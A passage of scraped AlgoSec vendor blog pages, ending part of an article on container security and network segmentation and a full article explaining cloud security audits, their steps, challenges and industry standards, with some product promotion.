tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 9/8/22 Published As cloud adoption and digital transformation increases, more sensitive data from applications is being stored in data containers. This is why effective container security controls to securely manage application connectivity is an absolute must. AlgoSec CTO and Co-Founder, Prof. Avishai Wool provides some useful container security best practices to help you do just that. What is Container Security? Organizations, now more than ever, are adopting container technology. Instead of powering up servers and instances in the cloud, they are using containers to run business applications. Securing these is equally as important as securing other digital assets that the business is dependent on. There are two main pillars to think about: The code: you want to be able to scan the containers and make sure that they are running legitimate code without any vulnerabilities. The network: you need to control access to and from the container (what it can connect to), both inside the same cluster, other clusters, and different parts of the network. How critical is container security to managing application connectivity risks? To understand the role of container security within the overall view of network security, there are three points to consider. First, if you’re only concerned about securing the containers themselves, then you’re looking at nano-segmentation , which involves very granular controls inside the applications. Second, if you’re thinking about a slightly wider scope then you may be more concerned with microsegmentation , where you are segmenting between clusters or between servers in a single environment. Here you will want to enforce security controls that determine the allowable communication between specific endpoints at specific levels. Finally, if the communication needs to go further, from a container inside one cluster within one cloud environment to an asset that’s outside of the data center, then that might need to go through broader segmentation controls such as zoning technologies, security groups or a firewall at the border. So, there are all these layers where you can place network security policies. When you’re looking at a particular connectivity request (say for a new version of an application) from the point of view of a given container you should ask yourself: what is the container connected to? What is it communicating with? Where are those other sides of the connectivity placed? Based on that determination, you will then know which security controls you need to configure to allow that connectivity through the network. How does containerization correlate with application centric security policy management? There are a number of different aspects to the relationship between container security and application security. If an application uses containers to power up workloads then container security is very much an integral part of application security. When you’re adding new functionality to an application, powering up additional containers, asking containers to perform new tasks whereby they need to connect to additional assets, then the connectivity of those containers needs to be secured. And security controls need to be regulated or changed based on what the application needs them to do. Another factor in this relationship is the structure of the application. All the containers that run and support the application are often located in one cluster or a micro-segment of the network. So, much of the communication takes place inside that cluster, between one container or another, all in the same cluster. However, some of it can go to another cluster or somewhere that’s not even containerized. This is actually a good thing from an application point of view as the container structure can be used to understand the application structure as well. Not sure about container orchestration? Here’s what to know Container orchestration is part of a bigger orchestration play which is, in general, related to the concept of infrastructure as code. You want to be able to power up an environment with all the assets it requires, and have it function simultaneously so you can duplicate it. There are various orchestration technologies that can be used to deploy the security policies for containers , which is an excellent way to maintain container-based applications in a consistent and repeatable manner. Then if you need to double it or multiply it by 100, you can get cookie-cutter copies of the same thing. How will container security solutions play out in the future? Organizations today have the technology to enforce security controls at the container level, but these controls are very granular and it’s time-consuming to set policies and enforce them, particularly with issues like staff or skills shortages. Looking ahead, companies are likely to take a hierarchical view where container-based security is controlled at the application level by app owners or developers, and at the broader levels to ensure that the measures deployed throughout the network have the same degree of sophistication. Procedures and tooling are all evolving, so we don’t have a definitive answer as to how this will all end up. What are organizations going to be doing? Where will they place their controls? Who has the power to make the changes? When newer technologies are deployed, customer adoption will be crucial to understanding what makes the most sense. This will be interesting as there will be multiple scenarios to help companies master their security blueprint as we move forward. To learn how the use of containerization as a strategy can help reduce risk and drive application-centric security, check out this video . Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Featured Snippet A cloud security audit is a review of an organization’s cloud security environment. During an audit, the security... Cloud Security What is a Cloud Security Audit? (and How to Conduct One) Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 6/23/23 Published Featured Snippet A cloud security audit is a review of an organization’s cloud security environment. During an audit, the security auditor will gather information, perform tests, and confirm whether the security posture meets industry standards. PAA: What is the objective of a cloud security audit? The main objective of a cloud security audit is to evaluate the health of your cloud environment, including any data and applications hosted on the cloud. PAA: What are three key areas of auditing in the cloud? From the list of “6 Fundamental Steps of a Cloud Security Audit.” Inspect the security posture Determine the attack surface Implement strict access controls PAA: What are the two types of security audits? Security audits come in two forms: internal and external. In internal audits, a business uses its resources and employees to conduct the investigation. In external audits, a third-party organization is hired to conduct the audit. PAA: How do I become a cloud security auditor? To become a cloud security auditor, you need a certification like the Certificate of Cloud Security Knowledge (CCSK) or Certified Cloud Security Professional (CCSP). Prior experience in IT auditing, cloud security management, and cloud risk assessment is highly beneficial. Cloud environments are used to store over 60 percent of all corporate data as of 2022. With so much data in the cloud, organizations rely on cloud security audits to ensure that cloud services can safely provide on-demand access. In this article, we explain what a cloud security audit is, its main objectives, and its benefits. We’ve also listed the six crucial steps of a cloud audit and a checklist of example actions taken during an audit. What Is a Cloud Security Audit? A cloud security audit is a review of an organization’s cloud security environment . During an audit, the security auditor will gather information, perform tests, and confirm whether the security posture meets industry standards. Cloud service providers (CSPs) offer three main types of services: Software as a Service (SaaS) Infrastructure as a Service (IaaS) Platform as a Service (PaaS) Businesses use these solutions to store data and drive daily operations. A cloud security audit evaluates a CSP’s security and data protection measures. It can help identify and address any risks. The audit assesses how secure, dependable, and reliable a cloud environment is. Cloud audits are an essential data protection measure for companies that store and process data in the cloud. An audit assesses the security controls used by CSPs within the company’s cloud environment. It evaluates the effectiveness of the CSP’s security policies and technical safeguards. Auditors identify vulnerabilities, gaps, or noncompliance with regulations. Addressing these issues can prevent data breaches and exploitation via cybersecurity attacks. Meeting mandatory compliance standards will also prevent potentially expensive fines and being blacklisted. Once the technical investigation is complete, the auditor generates a report. This report states their findings and can have recommendations to optimize security. An audit can also help save money by finding unused or redundant resources in the cloud system. Main Objectives of a Cloud Security Audit The main objective of a cloud security audit is to evaluate the health of your cloud environment, including any data and applications hosted on the cloud. Other important objectives include: Decide the information architecture: Audits help define the network, security, and systems requirements to secure information. This includes data at rest and in transit. Align IT resources: A cloud audit can align the use of IT resources with business strategies. Identify risks: Businesses can identify risks that could harm their cloud environment. This could be security vulnerabilities, data access errors, and noncompliance with regulations. Optimize IT processes: An audit can help create documented, standardized, and repeatable processes, leading to a secure and reliable IT environment. This includes processes for system ownership, information security, network access, and risk management. Assess vendor security controls: Auditors can inspect the CSP’s security control frameworks and reliability. What Are the Two Types of Cloud Security Audits? Security audits come in two forms: internal and external. In internal audits, a business uses its resources and employees to conduct the investigation. In external audits, a third-party organization is hired to conduct the audit. The internal audit team reviews the organization’s cloud infrastructure and data. They aim to identify any vulnerabilities or compliance issues. A third-party auditor will do the same during an external audit. Both types of audits provide an objective assessment of the security posture . But internal audits are rare since there is a higher chance of prejudice during analysis. Who Provides Cloud Security Audits? Cloud security assessments are provided by: Third-party auditors: Independent third-party audit firms that specialize in auditing cloud ecosystems. These auditors are often certified and experienced in CSP security policies. They also use automated and manual security testing methods for a comprehensive evaluation. Some auditing firms extend remediation support after the audit. Cloud service providers: Some cloud platforms offer auditing services and tools. These tools vary in the depth of their assessments and the features they provide to fix problems. Internal audit teams: Many organizations use internal audit teams. These teams assess the controls and processes using CSPM tools . They provide recommendations for improving security and mitigating risks. Why Cloud Security Audits Are So Important Here are eight ways in which security audits of cloud services are performed: Identify security risks: An audit can identify potential security risks. This includes weaknesses in the cloud infrastructure, apps, APIs, or data. Recognizing and fixing these risks is critical for data protection. Ensure compliance: Audits help the cloud environment comply with regulations like HIPAA, PCI DSS, and ISO 27001. Compliance with these standards is vital for avoiding legal and financial penalties. Optimize cloud processes: An audit can help create efficient processes using fewer resources. There is also a decreased risk of breakdowns or malfunctions. Manage access control: Employees constantly change positions within the company or leave. With an audit, businesses can ensure that everyone has the right level of access. For example, access is completely removed for former employees. Auditing access control verifies if employees can safely log in to cloud systems. This is done via two-step authentication, multi-factor authentication, and VPNs. Assess third-party tools: Multi-vendor cloud systems include many third-party tools and API integrations. An audit of these tools and APIs can check if they are safe. It can also ensure that they do not compromise overall security. Avoid data loss: Audits help companies identify areas of potential data loss. This could be during transfer or backup or throughout different work processes. Patching these areas is vital for data safety. Check backup safety: Cloud vendors offer services to back up company data regularly. An audit of backup mechanisms can ensure they are performed at the right frequency and without any flaws. Proactive risk management: Organizations can address potential risks before they become major incidents. Taking proactive action can prevent data breaches, system failures, and other incidents that disrupt daily operations. Save money: Audits can help remove obsolete or underused resources in the cloud. Doing this saves money while improving performance. Improve cloud security posture: Like an IT audit, a cloud audit can help improve overall data confidentiality, integrity, and availability. How Is a Cloud Security Audit Conducted? The exact audit process varies depending on the specific goals and scope. Typically, an independent third party performs the audit. It inspects a cloud vendor’s security posture. It assesses how the CSP implements security best practices and whether it adheres to industry standards. It also evaluates performance against specific benchmarks set before the audit. Here is a general overview of the audit process: Define the scope: The first step is to define the scope of the audit. This includes listing the CSPs, security controls, processes, and regulations to be assessed. Plan the audit: The next step is to plan the audit. This involves establishing the audit team, a timeline, and an audit plan. This plan outlines the specific tasks to be performed and the evaluation criteria. Collect information: The auditor can collect information using various techniques. This includes analytics and security tools, physical inspections, questioning, and observation. Review and analyze: The auditor reviews all the information to evaluate the security posture. Create an audit report: An audit report summarizes findings and lists any issues. It is presented to company management at an audit briefing. The report also provides actions for improvement. Take action: Companies form a team to address issues in the audit report. This team performs remediation actions. The audit process could take 12 weeks to complete. However, it could take longer for businesses to complete the recommended remediation tasks. The schedule may be extended if a gap analysis is required. Businesses can speed up the audit process using automated security tools . This software quickly provides a unified view of all security risks across multiple cloud vendors. Some CSPs, like Amazon Web Services (AWS) and Microsoft Azure, also offer auditing tools. These tools are exclusive to each specific platform. The price of a cloud audit varies based on its scope, the size of the organization, and the number of cloud platforms. For example, auditing one vendor could take four or five weeks. But a complex web with multiple vendors could take more than 12 weeks. 6 Fundamental Steps of a Cloud Security Audit Six crucial steps must be performed in a cloud audit: 1. Evaluate security posture Evaluate the security posture of the cloud system . This includes security controls, policies, procedures, documentation, and incident response plans. The auditor can interview IT staff, cloud vendor staff, and other stakeholders to collect evidence about information systems. Screenshots and paperwork are also used as proof. After this process, the auditor analyzes the evidence. They check if existing procedures meet industry guidelines, like the ones provided by Cloud Security Alliance (CSA). 2. Define the attack surface An attack surface includes all possible points, or attack vectors, through which unauthorized users can access and exploit a system. Since cloud solutions are so complex, this can be challenging. Organizations must use cloud monitoring and observability technologies to determine the attack surface. They must also prioritize high-risk assets and focus their remediation efforts on them. Auditors must identify all the applications and assets running within cloud instances and containers. They must check if the organization approves these or if they represent shadow IT. To protect data, all workloads within the cloud system must be standardized and have up-to-date security measures. 3. Implement robust access controls Access management breaches are a widespread security risk. Unauthorized personnel can get credentials to access sensitive cloud data using various methods. To minimize security issues related to unauthorized access, organizations must: Create comprehensive password guidelines and policies Mandate multi-factor authentication (MFA) Use the Principle of Least Privilege Access (PoLP) Restrict administrative rights 4. Strict data sharing standards Organizations must install strong standards for external data access and sharing. These standards dictate how data is viewed and accessed in shared drives, calendars, and folders. Start with restrictive standards and then loosen up restrictions when necessary. External access should not be provided to files and folders containing sensitive data. This includes personally identifiable information (PII) and protected health information (PHI). 5. Use SIEM Security Information and Event Management (SIEM) systems can collect cloud logs in a standardized format. This allows editors to access logs and automatically generates reports necessary for different compliance standards. This helps organizations maintain compliance with industry security standards. 6. Automate patch management Regular security patches are crucial. However, many organizations and IT teams struggle with patch management. To create an efficient patch management process, organizations must: Focus on the most crucial patches first Regularly patch valuable assets using automation Add manual reviews to the automated patching process to ensure long-term security How Often Should Cloud Security Audits Be Conducted? As a general rule of thumb, audits are conducted annually or biannually. But an audit should also be performed when: Mandated by regulatory standards. For example, Level 1 businesses must pass at least one audit per year to remain PCI DSS compliant. There is a higher risk level. Organizations storing sensitive data may need more frequent audits. There are significant changes to the cloud environment. Ultimately, the frequency of audits depends on the organization’s specific needs. The Major Cloud Security Audit Challenges Here are some of the major challenges that organizations may face: Lack of visibility Cloud infrastructures can be complex with many services and applications across different providers. Each cloud vendor has their own security policies and practices. They also provide limited access to operational and forensic data required for auditing. This lack of transparency prevents auditors from accessing pertinent data. To gather all relevant data, IT operations staff must coordinate with CSPs. Auditors must also carefully choose test cases to avoid violating the CSP’s security policies. Encryption Data in the cloud is encrypted using two methods — internal or provider encryption. Internal or on-premise encryption is when organizations encrypt data before it is transferred to the cloud. Provider encryption is when the CSP handles encryption. With on-premise encryption, the primary threat comes from malicious internal actors. In the latter method, any security breach of the cloud provider’s network can harm your data. From an auditing standpoint, it is best to encrypt data and manage encryption keys internally. If the CSP handles the encryption keys, auditing becomes nearly impossible. Colocation Many cloud providers use the same physical systems for multiple user organizations. This increases the security risk. It also makes it challenging for auditors to inspect physical locations. Organizations should use cloud vendors that use mechanisms to prevent unauthorized data access. For example, a cloud vendor must prevent users from claiming administrative rights to the entire system. Lack of standardization Cloud environments have ever-increasing entities for auditors to inspect. This includes managed databases, physical hosts, virtual machines (VMs), and containers. Auditing all these entities can be difficult, especially when there are constant changes to the entities. Standardized procedures and workloads help auditors identify all critical entities within cloud systems. Cloud Security Audit Checklist Here is a cloud security audit checklist with example actions taken for each general control area: The above list is not all-inclusive. Each cloud environment and process involved in auditing it is different. Industry Standards To Guide Cloud Security Audits Industry groups have created security standards to help companies maintain their security posture. Here are the five most recognized standards for cloud compliance and auditing: CSA Security, Trust, & Assurance Registry (STAR): This is a security assurance program run by the CSA. The STAR program is built on three fundamental techniques: CSA’s Cloud Control Matrix (CCM) Consensus Assessments Initiative Questionnaire (CAIQ) CSA’s Code of Conduct for GDPR Compliance CSA also has a registry of CSPs who have completed a self-assessment of their security controls. The program includes guidelines that can be used for cloud audits. ISO/IEC 27017:2015: The ISO/IEC 27017:2015 are guidelines for information security controls in cloud computing environments. ISO/IEC 27018:2019: The ISO/IEC 27018:2019 provides guidelines for protecting PII in public cloud computing environments. MTCS SS 584: Multi-Tier Cloud Security (MTCS) SS 584 is a cloud security standard developed by the Infocomm Media Development Authority (IMDA) of Singapore. The standard has guidelines for CSPs on information security controls.Cloud customers and auditors can use it to evaluate the security posture of CSPs. CIS Foundations Benchmarks: The Center for Internet Security (CIS) Foundations Benchmarks are guidelines for securing IT systems and data. They help organizations of all sizes improve their security posture. Final Thoughts on Cloud Security Audits Cloud security audits are crucial for ensuring your cloud systems are secure and compliant. This is essential for data protection and preventing cybersecurity attacks. Auditors must use modern monitoring and CSPM tools like Prevasio to easily identify vulnerabilities in multi-vendor cloud environments. This software leads to faster audits and provides a unified view of all threats, making it easier to take relevant action. FAQs About Cloud Security Audits How do I become a cloud security auditor? To become a cloud security auditor, you need certification like the Certificate of Cloud Security Knowledge (CCSK) or Certified Cloud Security Professional (CCSP). Prior experience in IT auditing, cloud security management, and cloud risk assessment is highly beneficial. Other certifications like the Certificate of Cloud Auditing Knowledge (CCAK) by ISACA and CSA could also help. In addition, knowledge of security guidelines and compliance frameworks, including PCI DSS, ISO 27001, SOC 2, and NIST, is also required. Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call